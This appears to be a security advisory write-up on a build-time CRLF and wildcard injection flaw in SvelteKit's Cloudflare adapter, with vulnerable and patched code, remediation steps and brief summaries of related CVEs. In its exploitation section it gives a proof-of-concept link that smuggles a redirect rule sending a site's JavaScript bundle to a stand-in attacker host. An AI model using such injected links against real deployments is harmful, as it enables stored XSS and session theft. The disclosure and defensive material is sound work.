Nov 14, 2026·10 min read·2 visits
Unsanitized prerendered redirect paths in `@sveltejs/adapter-cloudflare` allow attackers to inject arbitrary routing rules into Cloudflare `_redirects` and `_routes.json` files via CRLF sequences and wildcards, leading to JavaScript bundle hijacking and Stored XSS.
CVE-2026-128122 (GHSA-5wg4-q3ww-283h) is a build-time CRLF and wildcard injection vulnerability in `@sveltejs/adapter-cloudflare`. During the prerendering phase of a SvelteKit build, the adapter writes crawled redirect paths directly into the Cloudflare `_redirects` and `_routes.json` configuration files without output encoding or character validation. An attacker capable of controlling link paths on prerendered pages can inject newline characters, spaces, or wildcard patterns to forge arbitrary edge redirection rules, enabling asset hijacking and Stored Cross-Site Scripting (XSS).
@sveltejs/adapter-cloudflare is an official SvelteKit adapter package that compiles SvelteKit applications into deployment artifacts for Cloudflare Pages and Cloudflare Workers. During the svelte-kit build lifecycle, SvelteKit executes a prerendering crawler that traverses pages marked for static generation. When the crawler encounters an HTTP redirect on a prerendered route, it stores the source pathname, destination URL, and HTTP status code in a collection exposed to the adapter (builder.prerendered.redirects).
In @sveltejs/adapter-cloudflare versions 4.7.0 through 7.2.9 and 8.0.0-next.0 through 8.0.1, the adapter translates this redirect collection into Cloudflare edge routing rules inside the _redirects output file and excludes prerendered paths in the _routes.json configuration file. The adapter writes these values using direct string interpolation without encoding whitespace, control characters, or platform-specific syntax tokens.
This flaw combines multiple weakness classes: CWE-93 (Improper Neutralization of CRLF Sequences), CWE-116 (Improper Encoding or Escaping of Output), and CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the _redirects format relies on newline characters to separate rules and ASCII spaces to delimit rule arguments, any unencoded control characters present in a crawled URL path alter the structure of the generated configuration file.
If an application renders links derived from untrusted or user-controlled sources on a prerendered page, an attacker can craft a link containing embedded carriage returns, line feeds, or wildcard tokens. When the build pipeline crawls this link and hits a redirect handler, the resulting build artifact incorporates attacker-defined routing directives that execute at the Cloudflare CDN edge.
Cloudflare Pages and Cloudflare Workers Static Assets evaluate redirection rules defined in a plain-text _redirects file located at the root of the build output directory. The file syntax is strictly line-oriented and token-delimited by standard ASCII whitespace:
<source_path> <target_destination> [http_status_code]Each line represents a distinct routing instruction. In addition to literal path matching, the Cloudflare parser evaluates asterisk characters (*) as splat wildcards and colon-prefixed identifiers (:placeholder) as dynamic path segment captures. Similarly, Cloudflare Pages uses a _routes.json file containing include and exclude arrays (which also interpret * wildcards) to determine whether incoming requests are handled by the static asset server or routed to a Cloudflare Worker function.
The root cause of CVE-2026-128122 is a mismatch between how SvelteKit's internal prerender crawler handles URL paths and how @sveltejs/adapter-cloudflare serializes them. During prerendering, SvelteKit resolves relative links found in HTML <a> tags against the internal application router. If a link points to a dynamic route that issues a redirect (such as an authentication guard or a canonical URL normalizer), SvelteKit records the raw, unencoded pathname in the builder.prerendered.redirects map.
When generate_redirects() in @sveltejs/adapter-cloudflare iterates over this map, it constructs each rule as ${path} ${redirect.location} ${redirect.status} and joins the array with \n. No validation or escaping is performed on path or redirect.location prior to serialization:
path contains \r or \n, the string breaks out of the current rule definition and starts a new line in _redirects.path contains spaces (0x20) or tabs (0x09), the Cloudflare parser splits the source path prematurely, interpreting the second segment of the path as the <target_destination> and the third segment as the [http_status_code].path contains * or :param, Cloudflare compiles the rule as a pattern matcher rather than an exact string match, causing the edge router to intercept traffic intended for sibling or child routes._routes.json Route Exclusion Poisoning: When expanding the <prerendered> token in get_routes_json(), the adapter copies all paths from builder.prerendered.paths into the exclude array of _routes.json. A prerendered path containing a wildcard (*) causes Cloudflare Pages to bypass Worker invocation for all matching URLs.Prior to the patch, the redirect serialization logic resided in packages/adapter-cloudflare/index.js. The generate_redirects function mapped over the redirects entries and concatenated the raw values directly into the template block:
// Vulnerable code in packages/adapter-cloudflare/index.js
function generate_redirects(redirects) {
const rules = Array.from(
redirects.entries(),
// VULNERABILITY: Raw interpolation of 'path' and 'redirect.location'
// allows newline, whitespace, and wildcard injection.
([path, redirect]) => `${path} ${redirect.location} ${redirect.status}`
).join('\n');
return `
# === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
${rules}
# === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
`.trimEnd();
}Similarly, get_routes_json inserted prerendered paths directly into the exclusion set without checking for wildcard characters:
// Vulnerable code in packages/adapter-cloudflare/index.js
if (rule === '<prerendered>') {
for (const path of builder.prerendered.paths) {
// VULNERABILITY: Paths containing '*' exclude entire route trees
// from invoking the Cloudflare Worker.
excluded_routes.add(path);
}
continue;
}Commits 679e0d84ea9951bb4f1e458a599066b5a451b08a and 0a2e58cbccdd46cac20aa5af4e2edf17e0da11dd (PR #17620) refactored generate_redirects into packages/adapter-cloudflare/utils.js and introduced strict filtering and percent-encoding:
// Patched code in packages/adapter-cloudflare/utils.js
export function generate_redirects(redirects, log) {
/** @type {string[]} */
const rules = [];
for (const [path, redirect] of redirects) {
// FIX 1: Reject paths containing splats (*) or placeholders (:param)
if (has_wildcard(path)) {
log.warn(
`Skipping _redirects rule for prerendered redirect ${JSON.stringify(path)} because its path contains characters that would match other paths. The prerendered redirect page will be served instead`
);
continue;
}
// FIX 2: Percent-encode ASCII control chars (0x00-0x20), spaces, URL delimiters,
// and non-ASCII characters in both source and destination.
const from = path.replace(/[\0-\x20"#<>?^`{}\x7f-\u{10ffff}]/gu, encodeURIComponent);
const to = redirect.location.replace(/[\0-\x20\x7f-\u{10ffff}]/gu, encodeURIComponent);
rules.push(`${from} ${to} ${redirect.status}`);
}
if (rules.length === 0) return '';
return `
# === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
${rules.join('\n')}
# === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
`.trimEnd();
}
function has_wildcard(path) {
return path.includes('*') || /:[A-Za-z]/.test(path);
}The get_routes_json function was also updated to filter out wildcard paths using the same has_wildcard(path) helper:
// Patched code in packages/adapter-cloudflare/index.js
if (rule === '<prerendered>') {
// paths with wildcards are left to the Worker, which serves prerendered paths by exact match
for (const path of builder.prerendered.paths) {
if (!has_wildcard(path)) excluded_routes.add(path);
}
continue;
}> [!NOTE]
> Fix Completeness Assessment: The regular expression /[\0-\x20"#<>?^{}\x7f-\u{10ffff}]/gucovers all standard ASCII control characters (including\rat0x0d, \nat0x0a, and space at 0x20) as well as Unicode line terminators (\u2028and\u2029, which fall within \x7f-\u{10ffff}). Because Cloudflare _redirectsdoes not support an escape syntax for literal*or:identtokens, skipping_redirects` generation for those paths and falling back to SvelteKit's static HTML meta-refresh page (or exact matching in the Worker runtime) completely eliminates the wildcard collision vector without breaking valid routes.
Exploiting CVE-2026-128122 requires two primary prerequisites:
src/routes/account/[...rest]/+page.server.js) that returns an HTTP redirect.@sveltejs/adapter-cloudflare and deployed to Cloudflare Pages or Cloudflare Workers.Consider an application with a catch-all route /account/[...slug] that redirects unauthenticated requests (including the build-time prerender crawler) to /login with status 303. An attacker submits content containing the following relative hyperlink on a prerendered page:
<a href="/account/x / /_app/immutable/entry/start.js https://attacker.example/malicious.js 302 /zz">Profile</a>During svelte-kit build, the crawler parses the href attribute, decodes the HTML entities into literal newline characters (\n), and requests the internal route. The route handler responds with a 303 redirect to /login. The adapter then writes the unescaped path into _redirects:
# === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
/account/x /
/_app/immutable/entry/start.js https://attacker.example/malicious.js 302
/zz /login 303
# === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===Once deployed, the injected second line instructs the Cloudflare edge to intercept requests for /_app/immutable/entry/start.js (or any predictable asset path) and return a 302 Found redirect pointing to https://attacker.example/malicious.js. Because standard <script type="module"> tags follow cross-origin redirects when CORS headers permit it, every visitor's browser loads and executes the attacker's JavaScript bundle within the application's origin context.
Without injecting newlines, an attacker can submit a link containing Cloudflare splat or placeholder syntax, such as /account/* or /account/:id. When crawled and written to _redirects as /account/* /login 303, Cloudflare intercepts all requests matching /account/* at the CDN edge—even if those sub-routes are dynamic server-rendered endpoints that should never redirect authenticated users. Furthermore, if /account/* is added to the exclude list in _routes.json, Cloudflare Pages ceases routing /account/* requests to the backend Worker altogether, resulting in 404 Not Found responses across the /account/ hierarchy.
The primary security impact of CVE-2026-128122 is high confidentiality loss via universal Stored Cross-Site Scripting (XSS) and session hijacking, reflected in its CVSS v3.1 score of 5.9 (Medium) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).
301/302 redirects, an attacker executes arbitrary code in the victim's browser session or forces the browser to forward sensitive request data to an external server. This enables theft of session tokens, authentication headers, and private user data.Although the official CVSS vector scores Integrity (I:N) and Availability (A:N) as None with Scope Unchanged (S:U), practical exploitation of wildcard injection (* or :splat) into _redirects and _routes.json allows an attacker to blackhole dynamic Worker routes or redirect legitimate application pages to arbitrary destinations, degrading application availability and altering routing integrity until a clean build is deployed.
To remediate CVE-2026-128122, upgrade @sveltejs/adapter-cloudflare to a patched release and rebuild and redeploy affected applications.
7.x release line (SvelteKit 2): Upgrade to @sveltejs/adapter-cloudflare@7.2.10 or later.8.x release line: Upgrade to @sveltejs/adapter-cloudflare@8.0.2 or later.# Upgrade on the 7.x branch
npm install --save-dev @sveltejs/adapter-cloudflare@^7.2.10
# Upgrade on the 8.x branch
npm install --save-dev @sveltejs/adapter-cloudflare@^8.0.2Security teams should audit existing build outputs (.svelte-kit/cloudflare/_redirects and .svelte-kit/cloudflare/_routes.json) in CI/CD pipelines or active deployments to verify whether any unexpected rules were generated prior to upgrading:
# === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS === and # === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS === in _redirects.<source> <destination> <status>) and does not contain * or :param patterns.exclude array in _routes.json for unexpected entries containing * that do not correspond to intended static asset directories.If immediate package upgrading is not possible:
href attributes rendered in Svelte templates so that raw control characters (\r, \n, spaces) and wildcards (*, :) cannot be followed by the prerender crawler._redirects file before deploying to Cloudflare.CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@sveltejs/adapter-cloudflare Svelte | >= 4.7.0, < 7.2.10 | 7.2.10 |
@sveltejs/adapter-cloudflare Svelte | >= 8.0.0-next.0, < 8.0.2 | 8.0.2 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-128122 (GHSA-5wg4-q3ww-283h) |
| Weakness Class | CWE-93 (CRLF Injection) / CWE-116 (Improper Output Encoding) / CWE-79 (XSS) |
| CVSS v3.1 Score | 5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Affected Component | @sveltejs/adapter-cloudflare (< 7.2.10, 8.0.0-next.0 - 8.0.1) |
| Attack Vector | Network (Crafted links crawled during SvelteKit prerendering) |
| Primary Impact | Arbitrary Cloudflare _redirects rule injection leading to asset hijacking and Stored XSS |
| Exploit Status | Proof-of-Concept documented in advisory |
| CISA KEV Status | Not Listed |
The software uses CRLF (carriage return line feed) as a special element to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs, allowing attackers to inject arbitrary records or directives.
CVE-2026-126347 (GHSA-5cjw-f85j-cv6r) is an open redirect vulnerability (CWE-601) in Tornado, an asynchronous Python networking library and web framework. The flaw resides in tornado.web.RedirectHandler when dynamic URL redirection templates incorporate unvalidated user input. Due to a parser differential between RFC 3986 (used by Python's urllib.parse.urlsplit) and the WHATWG URL Standard (used by modern web browsers), inputs containing three or more leading slashes bypass Tornado 6.6.0's validation logic, allowing unauthenticated attackers to redirect users to arbitrary external domains.
A Denial of Service (DoS) vulnerability exists in @sveltejs/adapter-node versions 5.5.7 and 6.0.0-next.0 through 6.0.0. When a SvelteKit server route returns a direct response from a fetch() call with a Content-Type of text/event-stream, the Node.js adapter attempts to mutate the response headers to disable proxy buffering. Because headers returned directly by the WHATWG Fetch API carry an immutable guard, this mutation throws an unhandled TypeError, terminating the underlying Node.js process and denying service to all active and subsequent clients.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) and CWE-625 (Permissive Regular Expression) exists in the @sveltejs/adapter-vercel and @sveltejs/adapter-static packages for SvelteKit. During the build-time prerendering phase, pathnames discovered by the SvelteKit link crawler are inserted into the generated Vercel routing configuration (.vercel/output/config.json) without escaping regular expression metacharacters. Because the Vercel edge routing engine evaluates the 'src' property of route entries as regular expressions, an attacker capable of injecting links into prerendered application content can introduce arbitrary regular expression syntax, hijacking application routing and exposing unintended assets or responses.
CVE-2026-128117 (GHSA-mw6w-2fmv-pvw3) is a denial of service (DoS) vulnerability in SvelteKit (@sveltejs/kit) caused by an uncaught URIError exception during request routing. When an application implements a reroute hook that rewrites a request pathname containing invalid percent-encoding into a valid route, SvelteKit subsequently calls decode_pathname on the original unvalidated url.pathname outside of a try...catch block. In deployments utilizing @sveltejs/adapter-node, this unhandled exception terminates the Node.js runtime process.
CVE-2026-126303 (GHSA-8fx7-8jr8-84rv) is an uncontrolled resource consumption vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. The flaw is located in the SteppingRecursiveDescentParser.parse() method within the nltk.parse.recursivedescent module. Because the parser executes a top-down recursive descent stepping loop without enforcing an execution time deadline or step limit, processing tokens against a left-recursive, self-embedding, or ambiguous Context-Free Grammar (CFG) causes the parser to enter an infinite loop. This results in complete CPU core exhaustion and worker thread starvation, leading to an application-level denial of service.
File Browser versions prior to 2.63.17 contain an authorization and state-management flaw in the BoltDB storage backend. When an authenticated user deletes a shared directory via an HTTP request with a trailing slash (e.g., DELETE /api/resources/a/), the share cleanup routine queries the database index using the unnormalized path before stripping the trailing slash. Because canonical share paths are stored without trailing slashes (e.g., /a), the database prefix query fails to match the parent directory share record. If a directory with the same name is later recreated, the dormant public share hash automatically reactivates and exposes the new directory contents to unauthenticated users.